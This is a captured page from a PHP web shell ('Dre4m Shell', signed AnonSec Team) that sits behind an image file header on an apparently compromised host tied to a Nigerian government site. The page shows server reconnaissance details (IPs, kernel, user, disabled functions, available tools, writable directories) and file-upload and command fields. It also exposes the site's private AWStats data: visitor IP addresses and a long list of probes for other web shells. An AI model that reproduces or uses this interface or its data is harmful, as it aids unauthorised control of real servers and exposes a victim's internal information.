ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.12.153.19
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/tmp/awstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/tmp/awstats/awstats082024.hr.nicn.gov.ng.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202408 will be lost/reset.
# Last config file used to build this data file was /home/nicngo5/tmp/awstats/awstats.hr.nicn.gov.ng.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2010                
POS_TIME 2701                
POS_VISITOR 14212               
POS_DAY 19753               
POS_DOMAIN 3670                
POS_LOGIN 4292                
POS_ROBOT 4447                
POS_WORMS 5016                
POS_EMAILSENDER 5147                
POS_EMAILRECEIVER 5290                
POS_SESSION 20505               
POS_SIDER 20715               
POS_FILETYPES 5425                
POS_DOWNLOADS 5566                
POS_OS 6048                
POS_BROWSER 6346                
POS_SCREENSIZE 7269                
POS_UNKNOWNREFERER 7343                
POS_UNKNOWNREFERERBROWSER 8061                
POS_ORIGIN 8479                
POS_SEREFERRALS 8617                
POS_PAGEREFS 8776                
POS_SEARCHWORDS 8924                
POS_KEYWORDS 9092                
POS_MISC 2364                
POS_ERRORS 9167                
POS_CLUSTER 4148                
POS_SIDER_404 9334                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20240901000000 20304 5036276 11572325759081
FirstTime 20240801001738
LastTime 20240831234605
LastUpdate 20240901050513 20304 0 20303 0 0
TotalVisits 224                 
TotalUnique 139                 
MonthHostsKnown 0                   
MonthHostsUnknown 141                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavaEnabled 0 0 0
QuickTimeSupport 0 0 0
AddToFavourites 0 23 0
PDFSupport 0 0 0
DirectorSupport 0 0 0
TotalMisc 0 0 0
FlashSupport 0 0 0
JavascriptDisabled 0 0 0
WindowsMediaPlayerSupport 0 0 0
RealPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 17 17 98174 3836 3872 100805706
1 24 24 100778 5660 5698 151081030
2 21 21 68761 3531 3537 89646302
3 12 12 46666 3699 3706 98029185
4 0 0 0 2548 2550 64613273
5 13 13 51179 5674 5687 149957109
6 17 17 68302 8423 8428 214377279
7 34 34 188250 6468 6481 161333069
8 58 58 271714 10989 10997 286853061
9 59 59 231448 7449 7457 194920380
10 36 36 187504 6250 6252 162299654
11 56 56 225599 6525 6532 174082214
12 47 47 188809 6818 6856 179414492
13 41 41 220889 6404 6437 160427487
14 29 29 140421 9396 9412 240430219
15 4 4 18040 5514 5519 147693042
16 32 32 138741 12212 12366 316691488
17 28 28 122040 8131 8139 212711986
18 16 16 72056 4753 4756 125863654
19 41 41 180281 5342 5353 136265196
20 16 16 72032 6511 6518 173008997
21 31 31 146629 9750 9756 255920118
22 64 74 135927 10562 10579 244174417
23 40 40 146981 15471 15549 409744130
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 29
us 337 345 1458383
gb 76 78 282886
de 43 43 103231
cl 35 35 240055
ru 24 24 184452
in 24 24 107487
id 24 24 107948
nl 20 20 82650
bd 19 19 40285
au 16 16 72112
bg 15 15 28841
ca 13 13 20937
eu 12 12 9792
kh 11 11 89439
fr 10 10 21214
cn 9 9 40729
it 7 7 31607
kr 6 6 41466
ro 6 6 26982
jp 6 6 26982
no 6 6 27190
tr 4 4 17988
ma 4 4 18028
eg 2 2 8994
ua 2 2 9026
gr 1 1 4497
ir 1 1 4497
be 2 2 9026
za 1 1 4497
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 11
bot[\s_+:,\.\;\/\\-] 64 304708 20240831083610 33
no_user_agent 49 291760 20240831063940 0
Googlebot/ 42 1567755 20240830074727 7
facebookexternalhit/ 14 40849 20240820124209 5
Go\-http\-client/ 14 62958 20240830085015 0
YandexBot/ 4 9042 20240811234750 2
SemrushBot/ 4 9042 20240831113700 2
(firefox/)([0-9]\.|[0-1][0]\.) 3 9038 20240831235844 1
nbot 2 4521 20240818195909 1
unknown 1 24 20240808230749 1
survey 1 4529 20240804134957 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 4
txt 10 718 0 0
html 233 826126 0 0
php 95 427215 0 0
Unknown 408 1867162 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 6
/.well-known/pki-validation/0320301EC2548F6C71CEB2E1E12B9603.txt 4 0 308
/.well-known/pki-validation/51860F0D181200116FC3BEEE4C04461E.txt 2 0 154
/.well-known/pki-validation/F153FCE613D47988661501C3782DAE9F.txt 1 0 64
/.well-known/pki-validation/AF6EACA4A1BA64FEDAF9F6631489DC1A.txt 1 0 64
/.well-known/pki-validation/36BCDD877440F77E4ECB5B323D03B4E5.txt 1 0 64
/.well-known/pki-validation/9955100952192D579B40A393CE9A6FC9.txt 1 0 64
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 18
androidnougat 179 179
win10 358 358
android 4 4
macosx6 5 5
linux 7 7
android10 6 6
androidoreo 1 1
win7 3 3
linuxubuntu 10 10
winxp 1 1
winnt 1 1
symbian 1 1
unix 8 8
macosx12 1 1
macosx15 9 9
Unknown 147 137
win8.1 3 3
macosx 2 2
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 43
firefox79.0 2 2
firefox28.0 8 8
chrome95.0.4638.69 9 9
chrome78.0.3904.62 5 5
chrome100.0.4896.60 3 3
chrome89.0.4389.114 24 24
firefox18.0 1 1
safari5.1 5 5
chrome60.0.3112.107 179 179
firefox77.0 2 2
chrome96.0.4664.110 3 3
chrome108.0.0.0 7 7
chrome122.0.0.0 1 1
chrome93.0.4577.63 6 6
Unknown 135 125
firefox119.0 1 1
firefox72.0 1 1
firefox122.0 2 2
firefox36.0 1 1
chrome84.0.4147.105 1 1
chrome88.0.4240.193 173 173
chrome80.0.3987.149 4 4
chrome85.0.4183.102 39 39
chrome51.0.2704.64 8 8
chrome58.0.3029.110 19 19
chrome101.0.4951.64 1 1
chrome114.0.0.0 1 1
firefox108.0 2 2
chrome87.0.4280.141 4 4
firefox63.0 3 3
firefox111.0 2 2
msie7.0 1 1
chrome78.0.3904.108 57 57
netscape 7 7
chrome87.0.4280.88 2 2
chrome86.0.4240.111 1 1
msie10.0 1 1
chrome122.0.6261.64 1 1
chrome83.0.4103.61 1 1
safari2.0.1 1 1
mozilla 12 12
chrome126.0.0.0 9 9
chrome69.0.2977.139 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 13
python-requests/2.25.1 20240823055611
python-requests/2.32.3 20240829091054
Mozila/5.0 20240830085015
python-requests/2.31.0 20240802152608
COMODO_DCV 20240813223116
python-requests/2.27.1 20240824212223
Sectigo_DCV 20240813223118
python-requests/2.28.2 20240808083153
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20240830193309
Mozilla/5.0_(compatible;_heritrix/3.3.0-SNAPSHOT-20160721-2308__https://www.domaincodex.com) 20240808230750
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20240819230914
wp_is_mobile 20240817021421
python-requests/2.23.0 20240819125910
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 10
python-requests/2.25.1 20240823055611
python-requests/2.32.3 20240829091054
Mozila/5.0 20240830085015
COMODO_DCV 20240813223116
python-requests/2.31.0 20240802152608
python-requests/2.27.1 20240824212223
python-requests/2.28.2 20240808083153
Sectigo_DCV 20240813223118
python-requests/2.23.0 20240819125910
wp_is_mobile 20240817021421
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 621 631
From1 77 77
From2 2 2
From3 0 0
From4 36 36
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
google_com 2 2
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 1
4759055922996 1
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 1
4759055922996 1
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 6
301 6245 1537997
405 53 621743
500 164438 4445699888
302 469 170624
404 1009 16
406 2 8994
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 91
/.well-known/pki-validation/q.php 2 www.google.com
/.well-known/pki-validation/az.php 2 www.google.com
/.well-known/pki-validation/Simple.php 1 -
/.well-known/pki-validation/21889_errorlog.php 1 -
/.well-known/pki-validation/alfacgiapi/404.php 11 -
/.well-known/pki-validation/about_php1.php 2 -
/.well-known/pki-validation/alfacgiapi/py.alfa 26 -
/.well-known/pki-validation/shell_php1.php 2 -
//.well-known/pki-validation/xmrlpc.php 2 -
/.well-known/pki-validation/copypaths.php 2 www.google.com
/.well-known/pki-validation/install.php 8 -
/.well-known/pki-validation/ahg.php 2 www.google.com
/.well-known/pki-validation/content.php 1 -
/.well-known/pki-validation/cjfuns.php 1 -
/.well-known/pki-validation/shell.php 4 www.google.com
//.well-known/pki-validation/ssl.php 2 -
/.well-known/pki-validation/public_html.php 2 -
/.well-known/pki-validation/classwithtostring.php 1 -
/.well-known/pki-validation/wp-conflg.php 1 -
//.well-known/pki-validation/cloud.php 2 -
/.well-known/pki-validation/cloud.php 108 -
/.well-known/pki-validation/0jol.php 4 -
/.well-known/pki-validation/plugins.php 11 www.google.com
/.well-known/pki-validation/ALFA_DATA/alfacgiapi/index.php 11 -
/.well-known/pki-validation/admin.phtml 1 -
/.well-known/pki-validation/file.php 4 -
/.well-known/pki-validation/w.php 2 www.google.com
/.well-known/pki-validation/x.php 5 www.google.com
/.well-known/pki-validation/syns.php 1 -
/.well-known/pki-validation/alfacgiapi/radio.php 11 -
/.well-known/pki-validation/click.php 1 -
/.well-known/pki-validation/alfacgiapi/getdir.alfa 2 www.google.com
/.well-known/pki-validation/ALFA_DATA/alfacgiapi/py.alfa 26 -
/.well-known/pki-validation/bro.php 2 www.google.com
/.well-known/pki-validation/sts.php 3 www.google.com
/.well-known/pki-validation/class.api.php 10 -
/.well-known/pki-validation/wp-signup.php 162 www.google.com
/.well-known/pki-validation//.well-known/ 2 -
/.well-known/pki-validation/admin.php 5 -
/.well-known/pki-validation/simple.php 1 -
/.well-known/pki-validation/rex/index.php 1 -
/.well-known/pki-validation/about.php 136 www.google.com
/.well-known/pki-validation/x/index.php 1 -
/.well-known/pki-validation/deedstzv.php 4 www.google.com
/.well-known/pki-validation/system.php 3 www.google.com
/.well-known/pki-validation/Sanskrit.php 1 -
/.well-known/pki-validation/alfa.php 7 -
/.well-known/pki-validation/ALFA_DATA/alfacgiapi/404.php 11 -
/.well-known/pki-validation/media1.php 2 -
/.well-known/pki-validation/ALFA_DATA/alfacgiapi/bash.alfa 26 -
/.well-known/pki-validation/classapi.php 2 www.google.com
/.well-known/pki-validation/class_api.php 17 www.google.com
/.well-known/pki-validation/iR7SzrsOUEP.php 10 www.google.com
/.well-known/pki-validation/Sanskrit1.php 1 -
/.well-known/pki-validation/b.php 2 www.google.com
/.well-known/pki-validation/wp-cron1.php 2 www.google.com
/.well-known/pki-validation/db-update.php 1 -
/.well-known/pki-validation/alfacgiapi/perl.alfa 26 -
/.well-known/pki-validation/alfacgiapi/index.php 11 -
/.well-known/pki-validation/error.php 3 -
/.well-known/pki-validation/bala.php 2 www.google.com
/.well-known/pki-validation/cux.php 2 www.google.com
/.well-known/pki-validation/wp-sigunq.php 2 www.google.com
/.well-known/pki-validation/daddy.php 2 www.google.com
/.well-known/pki-validation/colors/ 1 -
/.well-known/pki-validation/ALFA_DATA/alfacgiapi/perl.alfa 26 -
/.well-known/pki-validation/images/cache/a.php7 1 -
/.well-known/pki-validation/ssl.php 5 www.google.com
/.well-known/pki-validation/export.php 4 -
/.well-known/pki-validation/ALFA_DATA/alfacgiapi/radio.php 11 -
//.well-known/pki-validation/wp-login.php 3 -
/.well-known/pki-validation/users.php 2 www.google.com
/.well-known/pki-validation/log.php 4 -
/.well-known/pki-validation/wp-login.php 18 -
/.well-known/pki-validation/atomlib.php 27 -
/.well-known/pki-validation/doc.php 1 -
/.well-known/pki-validation/moon.php 1 -
/.well-known/pki-validation/xmrlpc.php 113 www.google.com
/.well-known/pki-validation/network.php 1 -
/.well-known/pki-validation/themes.php 9 www.google.com
/.well-known/pki-validation/bless.php 2 -
/.well-known/pki-validation/owl.php 2 www.google.com
/.well-known/pki-validation/upfile.php 2 www.google.com
/.well-known/pki-validation/radio.php 2 -
/.well-known/pki-validation/alfacgiapi/bash.alfa 26 -
/.well-known/pki-validation/set.php 1 -
/.well-known/pki-validation/mariju.php 10 -
/.well-known/pki-validation/ucen.php 4 -
/.well-known/pki-validation/rdv-holi.php 2 www.google.com
/.well-known/pki-validation/wp.-.admin.php 5 www.google.com
/.well-known/pki-validation/.logs/index.php 4 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 141
146.190.110.98 66 66 297082 20240831234605
157.245.105.12 63 63 283531 20240831232856
213.165.92.178 38 38 80674 20240807210648
191.101.217.32 34 34 235558 20240812070052
143.244.57.86 33 33 148401 20240826081026
146.70.194.228 30 30 134910 20240812135125
93.185.162.8 23 23 179955 20240812075847
104.28.240.84 19 19 21342 20240824160528
51.79.247.69 16 16 19950 20240807234825
45.120.38.102 15 15 22265 20240828223347
157.230.251.62 15 15 10782 20240809113932
144.126.157.20 13 13 130999 20240824212223
180.241.28.22 12 12 53964 20240817100753
138.199.60.40 12 12 9792 20240828082737
188.166.182.89 12 12 53964 20240817092806
45.61.60.136 12 12 16440 20240817225414
203.189.155.170 11 11 89439 20240823145914
139.59.124.245 9 9 40633 20240813001731
165.22.60.40 8 8 36096 20240824232759
94.156.65.250 8 8 12774 20240809095335
91.239.208.22 7 7 45963 20240823160834
103.90.149.15 7 7 45762 20240801133055
110.76.128.189 6 6 41466 20240823072030
143.198.193.45 6 6 26982 20240827011355
172.81.130.118 6 6 26982 20240821204248
206.189.19.21 1 1 4529 20240823215754
194.5.82.56 1 1 4529 20240815133744
15.236.225.94 1 1 4529 20240819061723
111.7.96.169 1 1 4497 20240802193923
123.160.223.73 1 1 4529 20240830025428
20.90.176.154 3 3 13491 20240818182006
143.198.34.131 1 1 4529 20240817010515
102.182.38.90 2 2 8994 20240807111839
206.189.232.158 3 3 13491 20240807023540
182.2.69.98 3 3 13491 20240807082718
167.71.239.28 1 1 4497 20240829223015
46.250.229.86 4 4 10666 20240812012438
103.189.201.137 2 2 1632 20240814032046
104.167.197.210 3 3 13491 20240827215606
121.5.231.252 2 2 9058 20240824185833
37.114.41.36 2 2 9034 20240802152608
128.199.132.214 2 2 5495 20240813224223
49.235.189.18 2 2 9058 20240801131923
128.199.128.14 2 2 5495 20240801190000
38.127.127.70 1 1 4497 20240801054441
4.228.229.130 1 1 4497 20240808033327
173.212.221.246 2 2 8994 20240831053250
5.62.43.251 1 1 4497 20240806121935
123.160.223.75 2 2 9058 20240830025426
8.217.34.21 4 4 17988 20240822081442
20.206.206.43 2 2 38392 20240807161249
87.236.176.248 1 1 4529 20240822171927
167.172.69.163 6 6 27062 20240824121512
35.180.51.180 1 1 4497 20240819032235
128.90.174.39 2 2 9026 20240810151824
118.179.121.105 4 4 18020 20240816235751
205.234.181.138 3 3 13491 20240828180000
43.218.95.151 6 6 26982 20240814172255
178.128.19.215 1 1 4497 20240830085015
20.46.251.149 2 2 9034 20240815143436
5.28.35.5 1 1 4497 20240802005659
199.45.154.117 1 1 4529 20240811122509
41.249.94.81 2 2 9034 20240802053025
114.10.143.15 1 1 4497 20240811235108
20.199.93.167 2 2 9026 20240806090047
162.142.125.214 1 1 4529 20240819230914
159.203.10.37 1 1 4497 20240802070033
129.227.35.10 2 2 1956 20240812165850
217.160.57.119 2 2 9026 20240808105118
188.166.33.200 1 1 4497 20240818124429
84.247.148.174 6 6 27190 20240831230729
84.17.52.169 4 4 18052 20240807102907
41.249.102.26 2 2 8994 20240814200337
3.91.218.226 1 1 4529 20240805095030
64.226.76.187 1 1 4497 20240816152321
35.171.144.152 1 1 4529 20240819231732
163.53.84.237 4 4 17988 20240819132020
166.88.194.243 6 6 26982 20240802234058
82.165.67.199 1 1 4497 20240822003042
193.176.211.4 3 3 5210 20240817220545
104.28.212.150 6 6 8544 20240819024235
145.220.91.19 2 2 9026 20240819121232
206.168.34.112 1 1 4497 20240808195015
199.45.155.87 2 2 9026 20240817094518
89.32.41.117 3 3 13491 20240831024303
124.223.193.80 1 1 4529 20240827080851
146.190.87.160 4 4 10666 20240825090833
156.210.64.108 2 2 8994 20240811101958
79.72.24.164 1 1 4497 20240819112201
193.176.211.37 3 3 2286 20240817220439
176.97.73.166 1 1 4497 20240811193230
196.117.139.227 1 1 4497 20240823055611
159.223.45.46 6 6 26982 20240829110436
139.59.101.248 6 6 26982 20240807121721
20.81.161.125 2 2 1632 20240806080803
199.45.154.151 1 1 4529 20240811095538
188.166.209.205 5 5 15163 20240802174808
91.199.212.132 0 2 154 
134.209.201.221 1 1 4497 20240816030108
128.199.164.137 1 1 4517 20240804082245
20.3.244.253 2 2 9034 20240808013435
176.126.103.79 2 2 9026 20240816172957
193.176.211.31 1 1 131 20240817220504
143.198.54.16 1 1 4529 20240810032859
69.10.48.174 2 2 8994 20240808230750
157.245.115.111 4 4 18068 20240819014101
149.88.23.120 1 1 4497 20240814122003
87.236.176.72 1 1 4497 20240830193309
181.214.174.232 1 1 4497 20240817030502
100.26.248.22 1 1 4497 20240805213833
84.239.28.19 3 3 13491 20240802174020
157.245.60.33 1 1 4497 20240829091054
137.184.44.208 2 2 8994 20240819181444
194.5.82.64 1 1 4529 20240815133749
91.92.243.31 5 5 7041 20240811070900
15.237.24.67 1 1 4497 20240823194456
68.183.189.36 6 6 26982 20240814012121
84.17.52.156 3 3 13555 20240809190704
36.79.14.173 1 1 4497 20240827074731
207.244.124.185 1 1 4497 20240808083153
91.92.255.137 2 2 9026 20240805172852
45.141.215.192 3 3 13491 20240828034921
199.45.154.139 1 1 4529 20240811123235
165.232.184.77 5 5 22585 20240808060818
139.59.78.220 1 1 4497 20240829090253
103.172.196.89 2 2 1632 20240829194006
36.68.10.72 4 4 18008 20240817021421
114.10.143.47 1 1 4497 20240808183131
199.250.214.225 0 8 564 
193.32.126.212 1 1 4517 20240831055255
88.227.88.136 4 4 17988 20240821082410
206.168.34.118 1 1 4529 20240811194917
192.248.158.193 1 1 4497 20240813051438
152.42.253.255 6 6 26982 20240829104136
213.35.125.6 4 4 10666 20240827124644
194.5.82.72 1 1 4529 20240815133753
142.93.149.253 1 1 4497 20240808165840
217.114.43.60 1 1 4497 20240816173013
66.228.42.188 1 1 4497 20240823205554
103.120.134.178 6 6 26982 20240801002141
45.15.18.72 1 1 4497 20240824123000
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 30
20240801 48 48 266535 14
20240802 40 40 212493 17
20240803 1 1 4517 1
20240804 50 50 127356 11
20240805 16 16 72056 9
20240806 6 6 19692 4
20240807 35 35 142237 9
20240808 43 43 224447 19
20240809 15 15 21979 4
20240810 3 3 13555 2
20240811 14 14 47662 10
20240812 32 36 183920 9
20240813 12 18 43539 5
20240814 18 18 73616 6
20240815 8 8 65139 6
20240816 15 15 52763 9
20240817 46 46 130814 14
20240818 4 4 17988 2
20240819 22 22 80704 10
20240821 12 12 53964 3
20240822 4 4 18020 3
20240823 26 26 160446 8
20240824 37 37 131740 11
20240825 4 4 10666 1
20240826 27 27 121419 1
20240827 15 15 60165 5
20240828 23 23 50879 5
20240829 17 17 69087 6
20240830 5 5 22549 5
20240831 138 138 621274 15
END_DAY

# Session range - Number of visits
BEGIN_SESSION 7
15mn-30mn 8
30s-2mn 14
2mn-5mn 11
30mn-1h 5
1h+ 8
0s-30s 167
5mn-15mn 11
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 13
/login 317 1426733 126 120
/login/xmlrpc.php 95 427215 8 7
/index.php/login 88 397560 43 49
/.well-known/ 82 80196 34 5
/.well-known/acme-challenge/ 63 41202 0 15
/.well-known/pki-validation/ 36 23544 0 3
/assets/ 33 137745 7 14
/cpanel/ 16 542400 5 6
/login/contact 2 8994 0 2
/cpanel 1 33875 0 1
/assets/js/ 1 131 0 0
/assets/fonts/ 1 131 1 1
/public/ 1 777 0 1
END_SIDER

Anon7 - 2022
AnonSec Team